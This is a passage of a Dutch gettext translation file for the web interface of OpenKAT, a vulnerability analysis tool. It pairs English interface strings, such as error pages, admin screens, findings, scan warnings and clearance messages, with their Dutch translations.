\"Lichtoranje\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"Oranje\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"Donkeroranje\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"Lichtrood\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"Rood\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"Donkerrood\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"Lichtviolet\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"Violet\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"Donkerviolet\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"Vlak\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"Vol\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"Gestreept\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"Gestippeld\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"Foutcode 403: Ongeautoriseerd\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\"Uw account is niet geautoriseerd om toegang te krijgen tot deze pagina of \"\n\"organisatie.\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"Neem contact op met uw systeembeheerder.\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"Misschien wilt u terug naar de\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"Crisiscentrum\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"Foutcode 404: Pagina niet gevonden\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\"De pagina die u wilde zien of het bestand dat u wilde bekijken is niet \"\n\"gevonden.\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"Ga door naar de hoofdinhoud\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"Welkom,\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"Website bekijken\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"Documentatie\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"Wachtwoord aanpassen\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"Afmelden\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"Broodkruimels\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"Startpagina\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"%(name)s toevoegen\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"Verbeter de volgende fout.\"\nmsgstr[1] \"Verbeter de volgende fouten.\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"Filteren\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"Aantallen verbergen\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"Aantallen tonen\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"Filters wissen\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\"Het verwijderen van %(object_name)s '%(escaped_object)s' in de automatische \"\n\"verwijdering van gerelateerde objecten, uw account heeft echter niet de \"\n\"rechten om de volgende objecttypes te verwijderen\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\"Het verwijderen van %(object_name)s '%(escaped_object)s' heeft tot gevolg \"\n\"dat de volgende gerelateerde objecten ook worden verwijderd\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\"Weet u zeker dat u %(object_name)s ‘%(escaped_object)s’ wilt verwijderen? \"\n\"Alle volgende gerelateerde objecten worden ook verwijderd\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"Ja, ik weet het zeker\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"Nee, breng me terug\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"Meerdere objecten verwijderen\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\"Het verwijderen van het geselecteerde object %(objects_name)s heeft tot \"\n\"gevolg dat de gerelateerde objecten ook worden verwijderd, maar uw account \"\n\"heeft geen toestemming om de volgende objecten te verwijderen\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\"Het verwijderen van %(objects_name)s heeft tot gevolg dat de volgende \"\n\"beschermde gerelateerde objecten ook worden verwijderend\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\"Weet u zeker dat u de geselecteerde %(objects_name)s wilt verwijderen? Alle \"\n\"volgende gerelateerde objecten worden ook verwijderd\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"Pop-up sluit…\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"Menu sluiten\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"Hoofdnavigatie\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"Vrijwaringen\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"Afmelden\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"Welkom\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"Gebruikersoverzicht\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"waarschuwing\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"Waarschuwing:\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"Organisatiecode mist\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"Bevindingstype toevoegen\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"Bevindingstype\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"Bevinding toevoegen\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"Bevindingen @ \"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\"Een overzicht van alle bevindingen die OpenKAT heeft gevonden voor \"\n\"organisatie <strong>%(organization_name)s</strong>. Elke bevinding heeft \"\n\"betrekking op een object. Klik op een bevinding voor meer informatie.\"\n\n#: rocky/templates/findings/finding_list.html\n#, fuzzy, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"Toon %(length)s van %(total)s bevindingen\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"Bevindingen dempen\"\n\n#: rocky/templates/findings/finding_list.html\n#, fuzzy\nmsgid \"Unmute findings\"\nmsgstr \"Hef onderdrukte bevindingen op\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"Filters instellen\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"Filters wissen\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"Privacyverklaring\"\n\n#: rocky/templates/forms/json_schema_form.html\n#, fuzzy\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"Vul dit formulier in om de Vraag (opnieuw) te beoordelen:\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\"Klik op een cirkel om de boom in of uit te klappen, klik op de tekst om de \"\n\"boom van die OOI te bekijken en beweeg over de tekst om details te zien.\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"Boomgrafiek\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"Menu\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"OpenKAT-logo, ga naar de startpagina van OpenKAT\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"Taken\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"Gezondheidscontroles\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"Gezondheidscontroles\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"Aanvullend\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"Vrijwaring\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\"Vrijwaring op de aanwezige organisatie. U kunt nu objecten toevoegen en \"\n\"scans starten.\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"Ga naar Objecten\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"Ga naar\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"Welkom bij OpenKAT\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"Kwetsbaarheden Analyse Tool\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"Wat is OpenKAT?\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\"OpenKAT is een tool voor kwetsbaarhedenanalyse. Een open sourceproject \"\n\"ontwikkeld door het Ministerie van Volksgezondheid, Welzijn en Sport om uw \"\n\"en onze wereld veiliger te maken.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"OpenKAT ziet\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\"Er zijn tientallen tools geïntegreerd in OpenKAT om de wereld te bekijken (\"\n\"digitaal en analoog).\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"Ons motto is daarom: Ik zie, ik zie, wat jij niet ziet.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"OpenKAT weet\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\"OpenKAT vergeet niet (zomaar), en kan worden opgevraagd zonder opnieuw te \"\n\"scannen. Ook over een historische situatie.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"OpenKAT is veilig\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\"Forensisch geborgde opslag van bewijsmateriaal is de basis van OpenKAT.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"OpenKAT is lief\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\"OpenKAT slaat op wat nodig is, binnen het kader dat de beheerder stelt.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"Een breed speelveld\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\"OpenKAT maakt een beeld van de werkelijkheid, waarbinnen u kunt zoeken naar \"\n\"informatie. Verwachte en onverwachte veranderingen worden zichtbaar gemaakt \"\n\"en zijn in OpenKAT als bevindingen beschikbaar.\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"Privacyverklaring OpenKAT\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\"OpenKAT is toegewijd aan het beschermen van de vertrouwelijkheid en privacy \"\n\"van informatie die aan haar is toevertrouwd. Als onderdeel van deze \"\n\"fundamentele verplichting, zet OpenKAT zich in voor de juiste bescherming en \"\n\"het juiste gebruik van persoonsgegevens die online zijn verzameld.\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"Objectenlijst\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"Er is een fout opgetreden. Neem contact op met een systeembeheerder.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"%(display_type)s toevoegen\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\"Hier kunnen objecten worden toegevoegd. Bevindingen kunnen worden gekoppeld \"\n\"op de bevindingenpagina.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"%(display_type)s toevoegen\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"Object toevoegen\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"Selecteer het type object dat u wilt maken.\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"Verwijder %(primary_key)s\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"Weet u het zeker?\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"Hier kunt u de %(display_type)s verwijderen.\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"Te verwijderen object(en)\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"Sleutel\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"Verwijder %(display_type)s\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"Verwijderen niet mogelijk voor types: KATFindingType en CVEFindingType\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"met Boefjes\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"Vrijwaringswaarschuwing\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, fuzzy, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\"<strong>Waarschuwing:</strong> Er is geen vrijwaring voor deze organisatie. \"\n\"Ga naar de <a href=\\\"%(organization_settings)s\\\">organisatie \"\n\"instellingenpagina</a> om deze toe te voegen.\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, fuzzy\nmsgid \"Permission warning\"\nmsgstr \"Rechten waarschuwing\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, fuzzy\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\"<strong>Waarschuwing:</strong> U heeft niet de juiste rechten op \"\n\"organisatieniveau om objecten te scannen. Neem contact op met de beheerder.\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Scan warning\"\nmsgstr \"Scan-waarschuwing\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, fuzzy, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\"<strong>Warning:</strong> U heeft geen rechten om dit OOI te scannen. Uw \"\n\"maximale vrijwaringsniveau is %(member_clearance_level)s en dit OOI heeft \"\n\"niveau %(boefje_scan_level)s. Ga naar uw <a \"\n\"href=\\\"%(account_details)s\\\">account instellingen</a> om uw \"\n\"vrijwaringsniveau aan te passen.\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"Boefjes-overzicht\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"Boefje\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"Scanprofiel\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, fuzzy\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\"Niet mogelijke een scan te starten. Zie waarschuwing voor meer details.\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, fuzzy\nmsgid \"Start scan\"\nmsgstr \"Start scannen\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"Er zijn geen Boefjes geactiveerd om een OOI te scannen van type\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"Zie\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\"om Boefjes te vinden en in te schakelen die kunnen scannen binnen het \"\n\"huidige niveau.\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"Gerelateerd object toevoegen\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"Objectdetails\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"Objecttype\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"Selecteer een objecttype om toe te voegen\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"Selecteer een objecttype om toe te voegen.\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"Overzicht van bevindingen voor\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"Score\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"Bevindingsdetails\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"Overzicht van het aantal bevindingen en de ernst daarvan op\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\"Bevindingen kunnen meerdere keren voorkomen. Om een beter inzicht te \"\n\"krijgen, toont de volgende tabel het aantal unieke bevindingen en het aantal \"\n\"keren dat ze voorkomen.\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"Bevindingsdetails bekijken\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"Totaal aantal bevindingen\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"Inactief\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"Declaraties\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"Afgeleid van\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"Bit\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"Parameters\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"Laats bekeken door\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"Taak-ID\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"Wanneer\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"Normalizer\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"Deze scan is handmatig aangemaakt.\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"Het boefje is sindsdien verwijderd of uitgeschakeld.\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\"Er is geen Raw-bestand gevonden, dit zou kunnen wijzen op een fout in OpenKat\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"Waarschuwing\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"Bewerk %(type)s: %(ooi_human_readable)s\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"Primaire sleutelvelden kunnen niet worden bewerkt.\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"%(display_type)s opslaan\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"Er zijn momenteel nog geen bevindingen geïdentificeerd voor OOI\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\"Een overzicht van uw objectenlijst voor organisatie \"\n\"<strong>%(organization_name)s</strong>. Objecten kunnen handmatig worden \"\n\"toegevoegd of door het uitvoeren van Boefjes. Klik op een object voor meer \"\n\"informatie.\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"Bewerk vrijwaringsniveau\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"Bevinding dempen:\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"Geef hieronder een reden waarom je deze bevinding wilt dempen.\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"Bevinding dempen\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"Dempen\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"Lijst van weergaven voor OOI\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"Dit object is voorbij de houdbaarheidsdatum\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"Dit object is voorbij de houdbaarheidsdatum en gewist\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"Dit object is voorbij de houdbaarheidsdatum. U ziet een oude status.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"Het is niet mogelijk om bevindingen of objecten toe te voegen.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"Details voor %(name)s tonen\"\n\n#: 